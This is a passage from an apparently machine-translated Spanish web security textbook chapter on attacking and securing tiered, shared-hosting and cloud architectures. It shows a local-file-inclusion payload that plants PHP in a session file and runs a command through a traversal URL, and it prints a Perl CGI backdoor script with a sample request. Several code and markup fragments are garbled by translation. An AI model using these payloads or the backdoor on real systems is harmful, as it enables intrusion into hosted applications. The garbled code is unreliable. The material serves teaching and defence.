computadora que ejecuta el software de código abierto Linux, Apache, MySQL y PHP). En esta arquitectura,
una vulnerabilidad de divulgación de archivos dentro del nivel de la aplicación web, que por sí sola
puede no representar un defecto crítico, puede resultar en un acceso sin restricciones a todos los
datos de la aplicación. Esto es cierto porque los datos de MySQL se almacenan en archivos legibles
por humanos que el proceso de la aplicación web a menudo está autorizado a leer. Incluso si la
base de datos implementa un control de acceso estricto sobre sus datos, y la aplicación utiliza una
variedad de diferentes cuentas con pocos privilegios para conectarse a la base de datos, estas
protecciones pueden verse completamente socavadas si un atacante puede obtener acceso directo
a los datos almacenados en la base de datos. nivel.
Por ejemplo, la aplicación que se muestra en la Figura 17-1 permite a los usuarios elegir una
máscara para personalizar su experiencia. Esto implica seleccionar un archivo de hojas de estilo en
cascada (CSS), que la aplicación presenta al usuario para su revisión.
Figura 17-1: Una aplicación que contiene una función para ver un archivo seleccionado
Si esta función contiene una vulnerabilidad de cruce de ruta (consulte el Capítulo 10), un atacante
puede aprovecharla para obtener acceso directo a datos arbitrarios contenidos en la base de datos
MySQL. Esto le permite socavar los controles implementados dentro del nivel de la base de datos.
La figura 17-2 muestra un ataque exitoso que recupera los hash de nombres de usuario y
contraseñas de la tabla de usuarios de MySQL.
Figura 17-2: Un ataque que socava el nivel de la base de datos para recuperar datos arbitrarios
SUGERENCIA Si un atacante tiene acceso de escritura de archivos, puede intentar

escribir en la configuración de la aplicación o escribir en un directorio virtual alojado
para obtener la ejecución del comando. Vea el ejemplo de nslookup en el Capítulo 10.
Uso de la inclusión de archivos locales para ejecutar

comandos La mayoría de los idiomas contienen una función que permite incluir un archivo
local dentro del script actual. La capacidad de un atacante para especificar cualquier archivo
en el sistema de archivos es sin duda un problema de alto riesgo. Dicho archivo podría ser el
archivo /etc/passwd o un archivo de configuración que contenga una contraseña. En estos
casos, el riesgo de divulgación de información es obvio, pero el atacante no necesariamente
puede intensificar el ataque para comprometer aún más el sistema (a diferencia de la inclusión
remota de archivos, como se describe en el Capítulo 10). Sin embargo, aún puede ser posible
que un atacante ejecute comandos al incluir un archivo cuyo contenido controla parcialmente,
como resultado de otras características de la aplicación o plataforma.
Considere una aplicación que toma la entrada del usuario dentro del parámetro de país en
la siguiente URL:
http://eis/mdsecportal/prefs/preference_2?country=en-gb
Un usuario puede modificar el parámetro de país para incluir archivos arbitrarios. Un posible
ataque podría ser solicitar direcciones URL que contengan comandos de script para que se
escriban en el archivo de registro del servidor web y luego incluir este archivo de registro utilizando
el comportamiento de inclusión de archivos local.
Un método interesante que explota una peculiaridad arquitectónica en PHP es que las variables
de sesión de PHP se escriben en un archivo en texto sin cifrar, nombradas mediante el token de sesión.
Por ejemplo, el archivo:
/var/lib/php5/sess_9ceed0645151b31a494f4e52dabd0ed7
puede contener el siguiente contenido, que incluye un apodo configurado por el usuario:
login_in|i:1;id|s:2:”24”;username|s:11:”manicsprout”;nickname|s:22: “msp”;privilege|s:1:”1”;
Un atacante puede aprovechar este comportamiento configurando primero su apodo en <?php

passthru(id);?>, como se muestra en la figura 17-3. Luego puede incluir su archivo de sesión para
hacer que el comando id se ejecute utilizando la siguiente URL, como se muestra en la Figura 17-4:
http://eis/mdsecportal/prefs/preference_2.php?country=../../../../../../ ../../var/lib/php5/
sess_9ceed0645151b31a494f4e52dabd0ed7%00
Figura 17-3: Configuración de un apodo que contiene un código de secuencia de comandos ejecutable por el servidor
Figura 17-4: Ejecución del archivo de sesión que contiene el apodo malicioso a través de la función
de inclusión de archivos locales
PASOS DE HACK
1. Como se describe a lo largo de este libro, para cualquier vulnerabilidad que identifique
tifique dentro de la aplicación, piense imaginativamente sobre cómo se puede
explotar esto para lograr sus objetivos. Innumerables ataques exitosos contra
aplicaciones web comienzan a partir de una vulnerabilidad que está intrínsecamente
limitada en su impacto. Al explotar las relaciones de confianza y socavar los controles
implementados en otras partes de la aplicación, es posible aprovechar un defecto
aparentemente menor para llevar a cabo una infracción grave.
2. Si tiene éxito en la ejecución de comandos arbitrarios en cualquier componente de la

aplicación y puede iniciar conexiones de red a otros hosts, considere formas de atacar
directamente otros elementos de la infraestructura de la aplicación en las capas de red y
sistema operativo para expandir la alcance de su compromiso.
Protección de arquitecturas en niveles

Si se implementa cuidadosamente, una arquitectura de varios niveles puede mejorar
considerablemente la seguridad de una aplicación, ya que localiza el impacto de un ataque exitoso.
En la configuración básica de LAMP descrita anteriormente, en la que todos los
componentes se ejecutan en una sola computadora, es probable que el compromiso de
cualquier nivel conduzca al compromiso completo de la aplicación. En una arquitectura más
segura, el compromiso de un nivel puede dar como resultado un control parcial sobre los
datos y el procesamiento de una aplicación, pero puede tener un impacto más limitado y
quizás contenido en el nivel afectado.
Minimizar las relaciones de confianza
En la medida de lo posible, cada nivel debe implementar sus propios controles para
defenderse de acciones no autorizadas y no debe confiar en otros componentes de la aplicación para
Capítulo 17 n Atacando la arquitectura de la aplicación 655
prevenir brechas de seguridad que el propio nivel puede ayudar a bloquear. Estos son
algunos ejemplos de la aplicación de este principio a diferentes niveles de la aplicación:
n El nivel del servidor de aplicaciones puede imponer un control de acceso basado en roles
sobre recursos específicos y rutas de URL. Por ejemplo, el servidor de aplicaciones
puede verificar que cualquier solicitud de la ruta /admin se recibió de un usuario
administrativo. También se pueden imponer controles sobre diferentes tipos de recursos,
como tipos específicos de scripts y recursos estáticos. Esto mitiga el impacto de ciertos
tipos de defectos de control de acceso dentro del nivel de la aplicación web, porque los
usuarios que no están autorizados a acceder a ciertas funciones verán bloqueada su
solicitud antes de que llegue a ese nivel. n El nivel del servidor de la base de datos puede
proporcionar varias cuentas para que las use la aplicación para diferentes usuarios y
diferentes acciones. Por ejemplo, las acciones en nombre de usuarios no autenticados
se pueden llevar a cabo con una cuenta con pocos privilegios que permita el acceso de
solo lectura a un conjunto restringido de datos. A las diferentes categorías de usuarios
autenticados se les pueden asignar diferentes cuentas de base de datos, otorgando
acceso de lectura y escritura a diferentes subconjuntos de los datos de la aplicación, de
acuerdo con el rol del usuario. Esto mitiga el impacto de muchas vulnerabilidades de
inyección SQL, porque un ataque exitoso puede resultar en un acceso no mayor al que
el usuario podría obtener legítimamente al usar la aplicación según lo previsto. n Todos
los componentes de la aplicación pueden ejecutarse con cuentas del sistema operativo que
posean el nivel mínimo de privilegios necesarios para el funcionamiento normal.
Esto mitiga el impacto de cualquier inyección de comando o fallas de acceso a archivos
dentro de estos componentes. En una arquitectura bien diseñada y completamente
reforzada , las vulnerabilidades de este tipo pueden proporcionar a un atacante sin
oportunidades útiles para acceder a datos confidenciales o realizar acciones no autorizadas.
Segregar diferentes componentes

En la medida de lo posible, cada nivel debe estar separado de la interacción con otros niveles
de manera no deseada. En algunos casos, la implementación efectiva de este objetivo puede
requerir que diferentes componentes se ejecuten en diferentes hosts físicos. Estos son algunos
ejemplos de la aplicación de este principio:
n Los diferentes niveles no deben tener acceso de lectura o escritura a los archivos utilizados
por otros niveles. Por ejemplo, el nivel de la aplicación no debe tener acceso a los
archivos físicos que se utilizan para almacenar datos de la base de datos y solo debe
poder acceder a estos datos de la manera prevista mediante consultas a la base de
datos con una cuenta de usuario adecuada.
n El acceso a nivel de red entre los diferentes componentes de la infraestructura debe

filtrarse para permitir solo los servicios con los que se pretende que se comuniquen los
diferentes niveles de aplicación. Por ejemplo, el servidor que alberga la principal
se puede permitir que la lógica de la aplicación se comunique con el servidor de la

base de datos solo a través del puerto utilizado para emitir consultas SQL. Esta
precaución no evitará los ataques que realmente usan este servicio para apuntar al
nivel de la base de datos. Pero evitará ataques a nivel de infraestructura contra el
servidor de la base de datos y evitará que cualquier compromiso a nivel del sistema
operativo llegue a la red más amplia de la organización.
Aplicar defensa en profundidad
Dependiendo de las tecnologías exactas en uso, se puede implementar una variedad de otras
protecciones dentro de diferentes componentes de la arquitectura para respaldar el objetivo de
localizar el impacto de un ataque exitoso. Estos son algunos ejemplos de estos controles:
n La seguridad de todas las capas de la pila de tecnología en cada host debe reforzarse, tanto
en términos de configuración como de parches de vulnerabilidad. Si el sistema operativo
de un servidor no es seguro, un atacante que explote una falla de inyección de comando
con una cuenta con pocos privilegios puede escalar los privilegios para comprometer
completamente el servidor. El ataque puede luego propagarse a través de la red si otros
hosts no se han fortalecido. Por otro lado, si los servidores subyacentes están protegidos,
un ataque puede estar completamente contenido dentro de uno o más niveles de la
aplicación.
n Los datos confidenciales que se conservan en cualquier nivel de la aplicación deben cifrarse
para evitar una fácil divulgación en caso de que ese nivel se vea comprometido. Las
credenciales de usuario y otra información confidencial, como números de tarjetas de
crédito, deben almacenarse en forma cifrada dentro de la base de datos. Cuando estén
disponibles, se deben utilizar mecanismos de protección integrados para proteger las
credenciales de la base de datos almacenadas en el nivel de la aplicación web. Por ejemplo,
en ASP.NET 2.0, una cadena de conexión de base de datos cifrada se puede almacenar en el archivo web.config .
Proveedores de servicios de alojamiento y aplicaciones compartidos
Muchas organizaciones usan proveedores externos para ayudar a entregar sus aplicaciones web
al público. Estos arreglos van desde simples servicios de alojamiento en los que una organización
tiene acceso a un servidor web y/o de base de datos, hasta proveedores de servicios de
aplicaciones (ASP) completos que mantienen activamente la aplicación en nombre de la
organización. Los arreglos de este tipo son ideales para pequeñas empresas que no tienen las
habilidades o los recursos para implementar su propia aplicación, pero también son utilizados por
algunas empresas de alto perfil para implementar aplicaciones específicas.
La mayoría de los proveedores de servicios de hospedaje web y de aplicaciones tienen muchos

clientes y, por lo general, brindan soporte a las aplicaciones de varios clientes que usan el mismo
infraestructura, o infraestructuras estrechamente conectadas. Por lo tanto , una organización

que elija utilizar uno de estos servicios debe tener en cuenta las siguientes amenazas relacionadas:
n Un cliente malicioso del proveedor de servicios puede intentar interferir con la

aplicación de la organización y sus datos.
n Un cliente involuntario puede implementar una aplicación vulnerable que permite
a los usuarios maliciosos comprometer la infraestructura compartida y, por lo
tanto, atacar la aplicación y los datos de la organización.
Los sitios web alojados en sistemas compartidos son objetivos principales para los script
kiddies que buscan desfigurar tantos sitios web como sea posible, porque comprometer un
solo host compartido a menudo les permite atacar cientos de sitios web aparentemente
autónomos en un corto período de tiempo.
Alojamiento virtual
En arreglos simples de hospedaje compartido, un servidor web puede configurarse simplemente

para soportar múltiples sitios web virtuales con diferentes nombres de dominio. Esto se logra
a través del encabezado Host , que es obligatorio en la versión 1.1 de HTTP. Cuando un
navegador emite una solicitud HTTP, incluye un encabezado de Host que contiene el nombre
de dominio contenido en la URL relevante y envía la solicitud a la dirección IP asociada con
ese nombre de dominio. Si varios nombres de dominio se resuelven en la misma dirección IP,
el servidor en esta dirección aún puede determinar para qué sitio web es la solicitud. Por
ejemplo, Apache se puede configurar para admitir varios sitios web utilizando la siguiente
configuración, que establece un directorio raíz web diferente para cada sitio alojado virtualmente:
<Host virtual *>

Nombre del servidor wahh-app1.com
DocumentRoot /www/app1
</HostVirtual>
<Host virtual *>

Nombre del servidor wahh-app2.com
DocumentRoot /www/app2
</HostVirtual>
Servicios de aplicaciones compartidas
Muchos ASP proporcionan aplicaciones listas para usar que se pueden adaptar y personalizar
para que las usen sus clientes. Este modelo es rentable en industrias donde un gran número
de empresas necesitan implementar aplicaciones complejas y altamente funcionales que
brindan esencialmente la misma funcionalidad a sus usuarios finales. Mediante el uso de los
servicios de un ASP, las empresas pueden adquirir rápidamente una aplicación con la marca
adecuada sin incurrir en los grandes costos de instalación y mantenimiento que de otro modo implicaría.
El mercado de aplicaciones ASP es particularmente maduro en la industria de servicios

financieros . Por ejemplo, un país determinado puede tener miles de pequeños minoristas
que desean ofrecer a sus clientes tarjetas de pago y facilidades de crédito en la tienda.
Estos minoristas subcontratan esta función a docenas de diferentes proveedores de tarjetas de crédito ,
muchos de los cuales son empresas nuevas en lugar de bancos establecidos desde hace mucho tiempo.
Estos proveedores de tarjetas de crédito ofrecen un servicio mercantilizado en el que el costo
es el principal discriminador. En consecuencia, muchos de ellos utilizan un ASP para entregar
la aplicación web que se proporciona a los usuarios finales. Dentro de cada ASP, la misma
aplicación, por lo tanto, se personaliza para una gran cantidad de minoristas diferentes.
La figura 17-5 ilustra la organización típica y la división de responsabilidades en este tipo de
arreglo. Como puede ver por los numerosos agentes y tareas involucradas, esta configuración
implica los mismos tipos de problemas de seguridad que el modelo básico de alojamiento
compartido; sin embargo, los temas involucrados pueden ser más complejos. Además, los
problemas adicionales son específicos de este arreglo, como se describe en la siguiente sección.
Aloje y mantenga la infraestructura, desarrolle
aplicaciones centrales, proporcione actualizaciones
Servicio de aplicaciones y soporte
Proveedor (ASP)
Personalice la
funcionalidad principal de acuerdo con

su oferta comercial
compañías de tarjetas de crédito
Personalice la máscara de la
aplicación y el contenido no funcional
Minoristas de la calle principal
Usa aplicaciones para

declaraciones de acceso
& Realizar pagos

Usuarios finales
Figura 17-5: La organización de un proveedor de servicios de aplicaciones típico
Atacar entornos compartidos

Los entornos de alojamiento compartido y ASP introducen una gama de nuevas vulnerabilidades
potenciales mediante las cuales un atacante puede apuntar a una o más aplicaciones dentro de
la infraestructura compartida.
Ataques contra mecanismos de acceso

Debido a que varias organizaciones externas tienen una necesidad legítima de
actualizar y personalizar las diferentes aplicaciones en un entorno compartido, el proveedor
Capítulo 17 n Atacando la arquitectura de aplicaciones 659
necesita implementar mecanismos mediante los cuales se pueda lograr este acceso remoto.
En el caso más simple de un sitio web alojado virtualmente, esto puede implicar simplemente una
instalación de carga como FTP o SCP, a través de la cual los clientes pueden escribir archivos
dentro de su propia raíz web.
Si el acuerdo de alojamiento incluye la provisión de una base de datos, es posible que los clientes
necesiten obtener acceso directo para configurar su propia base de datos y recuperar los datos que
la aplicación ha almacenado. En esta situación, los proveedores pueden implementar una interfaz
web para ciertas funciones administrativas de la base de datos o incluso pueden exponer el servicio
de la base de datos real en Internet, lo que permite a los clientes conectarse directamente y utilizar
sus propias herramientas.
En entornos ASP completos, donde diferentes tipos de clientes necesitan realizar diferentes
niveles de personalización en elementos de la aplicación compartida, los proveedores suelen
implementar aplicaciones altamente funcionales que los clientes pueden usar para estas tareas. A
menudo se accede a estos a través de una red privada virtual (VPN) o una conexión privada
dedicada a la infraestructura del ASP.
Dada la variedad de mecanismos de acceso remoto que pueden existir, una serie de
diferentes ataques pueden ser posibles contra un entorno compartido:
n El propio mecanismo de acceso remoto puede ser inseguro. Por ejemplo, el protocolo FTP no
está cifrado, lo que permite que un atacante posicionado adecuadamente (por ejemplo,
dentro del propio ISP de un cliente) capture las credenciales de inicio de sesión. Los
mecanismos de acceso también pueden contener vulnerabilidades de software sin parches
o defectos de configuración que permiten que un atacante anónimo comprometa el
mecanismo e interfiera con las aplicaciones y los datos de los clientes. n El acceso otorgado
por el mecanismo de acceso remoto puede ser demasiado liberal o estar mal segregado entre
clientes. Por ejemplo, a los clientes se les puede dar un shell de comando cuando solo
requieren acceso a archivos. Alternativamente, los clientes pueden no estar restringidos a
sus propios directorios y pueden actualizar el contenido de otros clientes o acceder a
archivos confidenciales en el sistema operativo del servidor.
n Se aplican las mismas consideraciones a las bases de datos que para el acceso al sistema
de archivos. Es posible que la base de datos no esté debidamente segregada, con instancias
diferentes para cada cliente. Las conexiones directas a bases de datos pueden utilizar
canales no cifrados, como ODBC estándar.
n Cuando se implementa una aplicación personalizada con fines de acceso remoto (por ejemplo,
por parte de un ASP), esta aplicación debe asumir la responsabilidad de controlar el acceso
de diferentes clientes a la aplicación compartida. Cualquier vulnerabilidad dentro de la
aplicación administrativa puede permitir que un cliente malintencionado o incluso un usuario
anónimo interfiera con las aplicaciones de otros clientes. También pueden permitir que los
clientes con capacidad limitada actualicen la máscara de su aplicación para escalar privilegios
y modificar elementos de la funcionalidad central involucrada en su aplicación a su
ventaja. Cuando se implementa este tipo de aplicación administrativa, cualquier tipo

de vulnerabilidad dentro de esta aplicación puede proporcionar un vehículo para
atacar la aplicación compartida a la que acceden los usuarios finales.
Ataques entre aplicaciones

En un entorno de alojamiento compartido, diferentes clientes suelen tener una necesidad
legítima de cargar y ejecutar scripts arbitrarios en el servidor. Esto plantea de inmediato
problemas que no existen en las aplicaciones de alojamiento único.
Puertas traseras deliberadas
En el tipo de ataque más obvio, un cliente malintencionado puede cargar contenido que
ataca el propio servidor o las aplicaciones de otros clientes. Por ejemplo, considere la
siguiente secuencia de comandos Perl, que implementa una función de comando remoto en
el servidor:
#!/usr/bin/perl uso
estricto;
usar CGI qw(:escapeHTML estándar); imprimir
encabezado, start_html(“”);
if (param()){mi $comando = param(“cmd”);

$comando=`$comando`;
print “$comando\n”;} else {print

start_form(); textfield(“comando”);} print end_html;
Acceder a este script a través de Internet permite al cliente ejecutar arbi

Traiga los comandos del sistema operativo en el servidor:
OBTENER /scripts/backdoor.pl?cmd=whoami HTTP/1.1

Anfitrión: wahh-maliciousapp.com

Fecha: domingo, 03 de julio de 2011 19:16:38 GMT
Servidor: Apache/2.0.59
Conexión: cerrar
Tipo de contenido: texto/html; conjunto de caracteres = ISO-8859-1
<!DOCTYPEhtml
PÚBLICO “-//W3C//DTD XHTML 1.0 Transicional//EN”
“http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” lang=”en-US” xml:lang=”en-US”>
<cabeza>
<title>Documento sin título</title>
<meta http-equiv=”Content-Type” content=”text/html; juego de caracteres=iso-8859-1” />

</cabeza>
<cuerpo>
apache
</cuerpo>
</html>
Debido a que los comandos del cliente malintencionado se ejecutan como el usuario
de Apache, es probable que esto permita el acceso a los scripts y datos que pertenecen
a otros clientes del servicio de alojamiento compartido.
Este tipo de amenaza también existe en el contexto de una aplicación compartida
administrada por ASP . Aunque la funcionalidad central de la aplicación es propiedad y está
actualizada por el ASP, los clientes individuales normalmente pueden modificar esta
funcionalidad de ciertas formas definidas. Un cliente malintencionado puede introducir
puertas traseras sutiles en el código que controla, lo que le permite comprometer la aplicación
compartida y obtener acceso a los datos de otros clientes.
SUGERENCIA Las secuencias de comandos de puerta trasera se pueden crear en la mayoría de

los lenguajes de secuencias de comandos web. Para obtener más ejemplos de scripts en otros
idiomas, consulte http://net-square.com/papers/one_way/one_way.html#4.0.
Ataques entre aplicaciones vulnerables Incluso

si todos los clientes en un entorno compartido son benignos y cargan solo scripts legítimos
validados por el propietario del entorno, los ataques entre aplicaciones, por supuesto, serán
posibles si existen vulnerabilidades sin saberlo dentro de las aplicaciones de clientes
individuales. En esta situación, una vulnerabilidad dentro de una sola aplicación puede
permitir que un usuario malintencionado comprometa tanto esa aplicación como todas las
demás alojadas en el entorno compartido. Muchos tipos de vulnerabilidades comunes entran
en esta categoría. Por ejemplo:
n Una falla de inyección SQL en una aplicación puede permitir que un atacante realice
consultas SQL arbitrarias en la base de datos compartida. Si el acceso a la base de
datos no está adecuadamente segregado entre diferentes clientes, un atacante puede
leer y modificar los datos utilizados por todas las aplicaciones. n Una vulnerabilidad
de cruce de ruta en una aplicación puede permitir que un atacante lea o escriba archivos
arbitrarios en cualquier parte del sistema de archivos del servidor, incluidos los que
pertenecen a otras aplicaciones.
n Una falla de inyección de comando en una aplicación puede permitir que un atacante
comprometa el servidor y, por lo tanto, las otras aplicaciones alojadas en él, de la
misma manera que se describe para un cliente malicioso.
Ataques entre componentes de aplicaciones ASP

Los posibles ataques descritos anteriormente pueden surgir en el contexto de una
aplicación ASP compartida. Debido a que los clientes generalmente pueden realizar sus propios
personalizaciones a la funcionalidad central de la aplicación, una vulnerabilidad introducida por un

cliente puede permitir que los usuarios de una aplicación personalizada ataquen la aplicación
compartida principal, comprometiendo así los datos de todos los clientes del ASP.
Además de estos ataques, el escenario ASP presenta más posibilidades para que los clientes o
usuarios maliciosos comprometan la aplicación compartida más amplia, debido a cómo deben
interoperar los diferentes componentes de la aplicación compartida . Por ejemplo:
n Los datos generados por diferentes aplicaciones a menudo se recopilan en una ubicación
común y los usuarios de nivel ASP con privilegios poderosos dentro de la aplicación compartida
los ven. Esto significa que un ataque de tipo XSS dentro de una aplicación personalizada
puede comprometer la aplicación compartida.
Por ejemplo, si un atacante puede inyectar código JavaScript en entradas de archivos de
registro, registros de pago o información de contacto personal, esto puede permitirle secuestrar
la sesión de un usuario de nivel ASP y, por lo tanto, obtener acceso a funciones administrativas
confidenciales.
n Los ASP a menudo emplean una base de datos compartida para almacenar datos
pertenecientes a todos los clientes. La segregación estricta del acceso a los datos puede o no
aplicarse en las capas de la aplicación y la base de datos. Sin embargo, en cualquier caso,
normalmente existen algunos componentes compartidos, como los procedimientos
almacenados de la base de datos, que son responsables de procesar los datos que pertenecen
a varios clientes. Las relaciones de confianza defectuosas o las vulnerabilidades dentro de
estos componentes pueden permitir que clientes o usuarios maliciosos obtengan acceso a datos en otras aplicaciones.
Por ejemplo, una vulnerabilidad de inyección de SQL en un procedimiento almacenado
compartido que se ejecuta con privilegios de definidor puede comprometer toda la base de
datos compartida.
PASOS DE HACK
1. Examinar los mecanismos de acceso proporcionados a los clientes del

entorno compartido para actualizar y administrar su contenido y funcionalidad.
Considere preguntas como las siguientes:
n ¿La instalación de acceso remoto utiliza un protocolo seguro y
infraestructura reforzada?
n ¿Pueden los clientes acceder a archivos, datos y otros recursos a los que
no necesitan acceder legítimamente?
n ¿Pueden los clientes obtener un shell interactivo dentro del entorno
de hospedaje y ejecutar comandos arbitrarios?
2. Si se utiliza una aplicación propietaria para permitir que los clientes
configuren y personalicen un entorno compartido, considere apuntar a esta
aplicación como un medio para comprometer el propio entorno y las
aplicaciones individuales que se ejecutan en él.
3. Si puede lograr la ejecución de comandos, la inyección de SQL o un archivo arbitrario

acceso dentro de una aplicación, investigue cuidadosamente si esto proporciona
algún medio de escalar su ataque para apuntar a otras aplicaciones.
4. Si está atacando una aplicación alojada en ASP que se compone de componentes

compartidos y personalizados, identifique los componentes compartidos, como
los mecanismos de registro, las funciones administrativas y los componentes del
código de la base de datos. Intente aprovecharlos para comprometer la parte
compartida de la aplicación y, por lo tanto, atacar otras aplicaciones individuales.
5. Si se utiliza una base de datos común dentro de cualquier tipo de entorno compartido,
realice una auditoría exhaustiva de la configuración de la base de datos, el nivel de
parche, la estructura de la tabla y los permisos, tal vez utilizando una herramienta de
exploración de la base de datos como NGSSquirrel. Cualquier defecto dentro del
modelo de seguridad de la base de datos puede proporcionar un medio para escalar
un ataque desde una aplicación a otra.
atacando la nube
La omnipresente palabra de moda “nube” se refiere aproximadamente al aumento de la subcontratación
de aplicaciones, servidores, bases de datos y hardware a proveedores de servicios externos.
También se refiere al alto grado de virtualización empleado en los entornos de alojamiento compartido
actuales.
Los servicios en la nube describen ampliamente los servicios basados en Internet bajo demanda
que proporcionan una API, una aplicación o una interfaz web para la interacción del consumidor. El
proveedor de computación en la nube normalmente almacena datos de usuario o procesa la lógica
comercial para brindar el servicio. Desde la perspectiva del usuario final, las aplicaciones de escritorio
tradicionales están migrando a equivalentes basados en la nube, y las empresas pueden reemplazar
servidores completos con equivalentes bajo demanda.
Una preocupación de seguridad que se menciona con frecuencia al pasar a los servicios en la nube
es la pérdida de control. A diferencia del servidor tradicional o el software de escritorio, no hay forma
de que un consumidor evalúe de manera proactiva la seguridad de un servicio en la nube en particular.
Sin embargo, el consumidor está obligado a ceder toda la responsabilidad por el servicio
y los datos a un tercero. Para las empresas, se está cediendo más control a un entorno
donde los riesgos no están totalmente calificados o cuantificados. Las vulnerabilidades
publicadas en las aplicaciones web que soportan los servicios en la nube tampoco están
muy extendidas, porque la plataforma basada en la web no está abierta al mismo escrutinio
que los productos descargables tradicionales de cliente/servidor.
Esta preocupación por la pérdida de control es similar a las preocupaciones existentes que las
empresas pueden tener sobre la elección de un proveedor de alojamiento, o que los consumidores
pueden tener sobre la elección de un proveedor de correo web. Pero este problema por sí solo no
refleja los riesgos elevados que trae consigo la computación en la nube. Mientras que comprometer
una sola aplicación web convencional podría afectar a miles de usuarios individuales, comprometer un
servicio en la nube podría afectar a miles de suscriptores de la nube, todos con
bases de clientes propias. Mientras que un control de acceso defectuoso puede dar acceso no
autorizado a un documento confidencial en una aplicación de flujo de trabajo, en una aplicación
de autoservicio en la nube puede dar acceso no autorizado a un servidor o grupo de servidores.
La misma vulnerabilidad en un portal de back-end administrativo podría dar acceso a toda la
infraestructura de la empresa.
Seguridad en la nube desde la perspectiva de una aplicación

web Con una definición fluida, implementada de manera diferente por cada proveedor de nube,
ninguna lista proscriptiva de vulnerabilidades es aplicable a todas las arquitecturas de nube. Sin
embargo, es posible identificar algunas áreas clave de vulnerabilidades exclusivas de las
arquitecturas de computación en la nube.
NOTA Un mecanismo de defensa comúnmente citado para la seguridad en la

nube es el cifrado de datos en reposo o en tránsito. Sin embargo, el cifrado
puede proporcionar una protección mínima en este contexto. Como se describió
en la sección anterior "Arquitecturas en niveles", si un atacante elude las verificaciones
de autenticación o autorización de la aplicación y realiza una solicitud aparentemente
legítima de datos, cualquier función de descifrado es invocada automáticamente por componentes inferiores en la p
Sistemas Clonados
Muchas aplicaciones se basan en características del sistema operativo cuando utilizan la entropía
para generar números aleatorios. Las fuentes comunes están relacionadas con las características
del propio sistema, como el tiempo de actividad del sistema o la información sobre el hardware
del sistema. Si se clonan los sistemas, los atacantes que posean uno de los clones podrían
determinar las semillas utilizadas para la generación de números aleatorios, lo que a su vez
podría permitir predicciones más precisas sobre el estado de los generadores de números aleatorios.
Migración de herramientas de administración a la

nube En el corazón de un servicio de computación en la nube empresarial se encuentra la
interfaz a través de la cual se aprovisionan y monitorean los servidores. Este es un entorno de
autoservicio para el cliente, a menudo una versión habilitada para la web de una herramienta
utilizada originalmente para la administración interna del servidor. Las antiguas herramientas
independientes que se trasladaron a la web a menudo carecen de mecanismos sólidos de gestión
de sesiones y control de acceso, especialmente donde antes no existía una segregación basada
en funciones. Algunas soluciones observadas por los autores han usado tokens o GUID para
acceder al servidor. Otros simplemente han expuesto una interfaz de serialización a través de la
cual se puede llamar a cualquiera de los métodos de gestión.
Enfoque de prioridad en las
funciones Como la mayoría de los campos nuevos, los proveedores de servicios en la nube promueven un
enfoque de prioridad en las funciones para atraer nuevos clientes. Desde una perspectiva empresarial, los
entornos de nube casi siempre se administran a través de una aplicación web de autoservicio. Los usuarios se dan
una amplia variedad de métodos fáciles de usar mediante los cuales pueden acceder a sus datos.
Por lo general, no se ofrece un mecanismo de exclusión para funciones.
Acceso basado en token

Numerosos recursos de la nube están diseñados para ser invocados de forma regular. Esto crea la
necesidad de almacenar un token de autenticación permanente en el cliente, desvinculado de la contraseña
del usuario y utilizado para identificar un dispositivo (a diferencia de un usuario). Si un atacante puede
obtener acceso a un token, puede acceder a los recursos de la nube del usuario.
Almacenamiento
web El almacenamiento web es una de las principales atracciones de la informática en la nube para el
usuario final. Para que sea eficaz, el almacenamiento web debe admitir un navegador estándar o una
extensión de navegador, una variedad de tecnologías y extensiones de HTTP, como WebDAV, y, a
menudo , credenciales en caché o basadas en tokens, como se mencionó anteriormente.
Otro problema es que un servidor web en un dominio a menudo es visible en Internet. Si un
usuario puede cargar HTML e inducir a otros usuarios a acceder a su archivo de carga, puede
comprometer a esos usuarios del mismo servicio. De manera similar, un atacante puede
aprovechar la política del mismo origen de Java y cargar un archivo JAR, obteniendo una
interacción bidireccional completa cada vez que se invoque ese archivo JAR en otro lugar de Internet.
Protección de entornos compartidos

Los entornos compartidos introducen nuevos tipos de amenazas a la seguridad de una aplicación,
planteadas por un cliente malintencionado de la misma instalación y por un cliente involuntario que
introduce vulnerabilidades en el entorno. Para hacer frente a este doble peligro, los entornos compartidos
deben diseñarse cuidadosamente en términos de acceso, segregación y confianza de los clientes. También
deben implementar controles que no sean directamente aplicables al contexto de una aplicación alojada en
un solo lugar.
Acceso seguro para clientes
Cualquiera que sea el mecanismo que se proporcione a los clientes para mantener el contenido bajo su
control, este debería proteger contra el acceso no autorizado por parte de terceros y de clientes
malintencionados:
n El mecanismo de acceso remoto debe implementar una autenticación robusta, utilizar tecnologías
criptográficas que no sean vulnerables a las escuchas ilegales y tener una seguridad totalmente
reforzada. n A los clientes individuales se les debe otorgar acceso en base al privilegio mínimo.
Por ejemplo, si un cliente está cargando secuencias de comandos en un servidor alojado

virtualmente, solo debe tener permisos de lectura y escritura para su propia raíz de
documentos. Si se está accediendo a una base de datos compartida, esto debe hacerse usando
una cuenta con privilegios bajos que no puede acceder a datos u otros componentes
que pertenecen a otros clientes. n Si se utiliza una aplicación personalizada para
brindar acceso a los clientes, debe someterse a rigurosos requisitos de seguridad y
pruebas de acuerdo con su rol fundamental en la protección de la seguridad del
entorno compartido.
Segregar la funcionalidad del cliente

No se puede confiar en los clientes de un entorno compartido para crear solo una
funcionalidad benigna que esté libre de vulnerabilidades. Por lo tanto, una solución robusta
debe utilizar los controles arquitectónicos descritos en la primera mitad de este capítulo para
proteger el entorno compartido y sus clientes de ataques a través de contenido no autorizado.
Esto implica segregar las capacidades permitidas para el código de cada cliente de la
siguiente manera para garantizar que cualquier compromiso deliberado o involuntario se
localice en su impacto y no pueda afectar a otros clientes:
n La aplicación de cada cliente debe usar una cuenta de sistema operativo separada
para acceder al sistema de archivos que tiene acceso de lectura y escritura solo a
las rutas de archivo de esa aplicación.
n La capacidad de acceder a potentes funciones y comandos del sistema debe estar
restringida en el nivel del sistema operativo con privilegios mínimos. n Se debe
implementar la misma protección dentro de cualquier base de datos compartida.
Se debe usar una instancia de base de datos separada para cada cliente, y se
deben asignar cuentas con privilegios bajos a los clientes, con acceso solo a sus
propios datos.
NOTA Muchos entornos de alojamiento compartido basados en el modelo

LAMP confían en el modo seguro de PHP para limitar el impacto potencial de
un script malicioso o vulnerable. Este modo evita que los scripts de PHP
accedan a ciertas funciones potentes de PHP y restringe el funcionamiento de
